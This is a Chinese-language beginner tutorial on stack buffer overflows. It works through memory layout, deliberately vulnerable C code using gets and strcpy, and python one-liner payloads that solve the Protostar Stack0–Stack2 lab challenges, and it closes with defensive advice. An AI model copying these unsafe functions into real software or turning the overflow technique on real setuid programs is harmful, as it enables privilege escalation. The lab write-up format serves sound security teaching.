缓冲区溢出详细新手教程
字数 1388 2025-08-18 11:36:57
缓冲区溢出漏洞利用详细教程
1. 基本概念
1.1 什么是缓冲区
缓冲区是程序运行时使用的内存空间,用于存储程序当前使用的临时数据。例如:
#include <stdio.h>
int main() {
char username[20]; // 分配20个字符的缓冲区
printf("Enter your name: ");
scanf("%s", username);
printf("Hello %s\n", username);
return 0;
}
char username[20]定义了一个20字节的缓冲区- 程序运行时,用户输入的数据会先存放在这个缓冲区中
1.2 应用程序内存结构
应用程序的内存通常分为以下几个部分(从低地址到高地址):
- 代码段(Text): 存放编译后的程序指令
- 数据段(Data): 存放全局变量和静态变量
- 堆(Heap): 动态内存分配区
- 栈(Stack): 存放局部变量和函数调用信息
+---------------------+
| 栈(Stack) | ← 向下增长
+---------------------+
| 堆(Heap) | ← 向上增长
+---------------------+
| 数据段(全局变量等) |
+---------------------+
| 代码段(程序指令) |
+---------------------+
1.3 内存地址
- 程序的所有指令和数据在内存中都有对应的地址
- 地址通常以十六进制表示,如
0x0804847b - 通过反汇编工具可以看到指令的内存地址
2. 缓冲区溢出原理
2.1 为什么会发生缓冲区溢出
当输入的数据长度超过缓冲区容量时,多余的数据会写入缓冲区之外的内存空间,可能导致:
- 覆盖其他重要数据
- 破坏程序结构
- 导致程序崩溃
示例:
#include <stdio.h>
int main() {
char username[20];
printf("Enter your name: ");
scanf("%s", username); // 如果输入超过20个字符
printf("Hello %s\n", username);
printf("Program exited normally");
return 0;
}
- 输入20个字符以内:程序正常执行
- 输入超过20个字符:可能覆盖返回地址,导致段错误
2.2 缓冲区溢出的危害
当具有setuid权限的程序存在缓冲区溢出漏洞时尤其危险:
- setuid程序以所有者(通常是root)权限运行
- 攻击者可构造特殊输入覆盖返回地址
- 可执行任意代码,获得高权限shell
3. 实践分析
3.1 使用GDB分析溢出
示例程序:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char whatever[20];
strcpy(whatever, argv[1]);
return 0;
}
分析步骤:
- 正常输入:
./program aaaaa→ 正常退出 - 超长输入:
./program aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa→ 段错误 - 使用GDB调试:
- 输入特定模式(如50个
\x12) - 检查寄存器,可见内存地址被覆盖
- 输入特定模式(如50个
3.2 Protostar Stack0挑战
源代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
漏洞利用:
buffer有64字节空间modified变量初始为0- 输入超过64字节会覆盖
modified的值 - 利用方法:
python -c "print('A'*65)" | ./stack0
3.3 Protostar Stack1挑战
源代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
漏洞利用:
- 需要将
modified改为0x61626364("dcba"的十六进制,小端序) - 方法:
或./stack1 `python -c "print('A'*64 + 'dcba')"`./stack1 `python -c "print('A'*64 + '\x64\x63\x62\x61')"`
3.4 Protostar Stack2挑战
源代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
漏洞利用:
- 需要通过环境变量
GREENIE传递payload 0x0d0a0d0a对应\r\n\r\n(回车和换行符)- 方法:
GREENIE=`python -c "print('A'*64 + '\x0a\x0d\x0a\x0d')"` export GREENIE ./stack2
4. 关键知识点总结
- 缓冲区大小:必须清楚程序中每个缓冲区的确切大小
- 内存布局:理解栈的生长方向、变量在内存中的排列
- 字节序:x86架构使用小端序,数据的高位字节存放在高地址
- 特殊字符:某些十六进制值对应不可打印字符,需要用转义序列表示
- 环境变量:某些情况下需要通过环境变量传递payload
- 保护机制:现代系统有ASLR、DEP等保护机制,本文示例假设这些机制被禁用
5. 防御建议
- 使用安全的函数替代不安全的函数:
fgets()代替gets()strncpy()代替strcpy()snprintf()代替sprintf()
- 启用编译器的栈保护选项
- 实施地址空间随机化(ASLR)
- 使用非可执行栈(DEP/NX)
- 进行严格的输入验证